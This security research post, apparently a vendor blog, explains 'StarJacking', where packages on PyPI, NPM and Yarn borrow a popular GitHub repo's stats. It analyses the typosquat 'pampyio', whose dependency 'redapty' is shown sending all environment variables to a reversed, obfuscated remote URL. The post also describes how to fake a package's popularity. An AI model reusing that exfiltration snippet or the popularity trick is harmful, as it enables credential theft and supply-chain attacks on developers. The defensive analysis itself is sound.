This means that anyone can link any repository, as popular as they would like, to their package which will result in bogus statistics to be displayed on the website and trick developers.

As a user of each of these 3 websites, it is not unreasonable to expect that this data is checked and verified in some manner before it is presented on the site.

StarJacking On Yarn, PyPi and NPM

PyPi

One package manager in which developers are highly likely to fall for falsified statistics is PyPi. Looking at a package’s page on PyPi’s website, the prominent indication of its popularity can be found in the statistics section. For contributors that linked the PyPi package to a GitHub repository, this section will list the repo’s stars, forks, and open issues/PRs

What is bewildering, is that following python’s own tutorial on “Packaging Python Projects” will result in publishing a package with a URL of a popular repository. This may give the newly released package the appearance of a well-established and popular one.

As you can see in the official guide, you will be instructed to write a setup.cfg or setup.py for your package based on this template:

setup.py template from PyPi tutorial

The tutorial asks you to update the name field while leaving the other fields, including the URL field, as is. Doing so, and publishing the package to PyPi, results in a public python package with this package webpage:

Newly published PyPI package’s webpage — with the StarJacking technique

So, if you are an attacker who wants to trick developers into choosing your package, all you would have to do is choose a GitHub repo with the desired statistics and copy its URL to the URL field in your setup.py/setup.cfg file.

NPM

The situation on NPM is slightly better but the core problem remains. There is no validation of the connection between the package and the repository or on its ownership.

The good news is that the repository URL is explicitly written on the web page, and the statistics section does not include the repository star count but only the issues and pull requests. In any case, most users of NPM mainly look at the weekly download meter to gauge the package’s popularity.

Yarn

Yarn stands for “Yet Another Resource Negotiator”. Yarn has CLI tool alternative to NPM, originally released by Facebook in October 2016.

Packages displayed on Yarn’s website have the same stars statistics as in PyPi, and again, there is no validation of the connection between the package and the repository, or on its ownership.

An NPM package on Yarn’s website

Usage in the Wild and the Bigger Issue

However, this issue goes beyond the statistics section alone. While validating this is not trivial at all, and much more complicated, one might expect that the GitHub repository connected to the package will at least roughly reflect the code that the package contains.

A sophisticated attack using a combination of this StarJacking technique and Typosquatting, can make a compelling package that might pass scrutiny of even a diligent developer, even though the code in the package itself will bear no resemblance to the one in the GitHub repository.

Going back to PyPI, let’s take for example the relatively popular pattern matching package “pampy” with a total of more than 600 thousand download. In October last year, the PyPi user santalegend published the malicious package pampyio. Other than the name of the package and the install command, this package’s webpage is identical to the original “pampy” package:

The “pampyio” itself seems to be harmless however one of its dependencies, redapty, includes the malicious “aptyred/__init__.py” file. This simple script exfiltrate environment variables from the victim’s machine to a remote location. The additional “touch” in this case is that this actor tries to evade basic detection methods by reversing the URL address.

url = "=atad?/moc.ppaukoreh.0991liveetihw//:sptth"[::-1]
urlrul = url + str(dict(os.environ))

requests.get(urlrul)

The two packages, “pampyio” and “redapty” were downloaded more than 70 thousand times mostly in the beginning of March this year.

In some situations, “pampy” and “pampyio” can easily be mixed up, and in this case, if someone makes this mistake, there will hardly be any other safeguards to warn them from installing the deceiving package on their machine.

Now, even if they are aware of the fact that there is no validation on the package’s repository and would like to do it by themselves, they will end up looking at a repository that seems to be very much related to the python package.

High Level View

Referencing a version control system (VCS) repository, usually Git, as part of the package’s metadata is a widespread practice as open source developers maintain their code on VCS platforms such as GitHub.

66.85% of all packages on PyPi and 61.41% on NPM are linked into a valid Git repository. The most dominant Git service used in both is GitHub, with over 96% of usage.

One technique for detecting possible StarJacking attacks is by looking for conflicting or non-unique Git references, meaning multiple packages sharing the same Git repository reference. Out of all packages on PyPi, 3.03% have a non-unique Git reference, while NPM rate of non-unique Git reference is 7.23%. These are potential candidates for packages that might be “Jacking” someone else’s popularity stats.

Conclusion

StarJacking is another way for an attacker to increase the chances for their attack to succeed and infect as many targets as possible. This technique is intended to gain more credibility for the package by making it look popular and highlighting how many other developers use it. Under the cover of this credibility, the attacker may try to slip in any malicious functionalities they choose.

As always, the risks of using malicious packages as a dependency in your code are high: In the best scenario you will end up infecting high privileged developer accounts in your network. If you are less fortunate, you will end up infecting your customers with poisoned software releases.

As part of Checkmarx Supply Chain Security solution, and our continuous monitoring for suspicious activities in the open source software ecosystem, our research team tracks and flags these kinds of “signals” that might be an indication of foul play, and immediately alert our customers to help protect them from StarJacking attacks.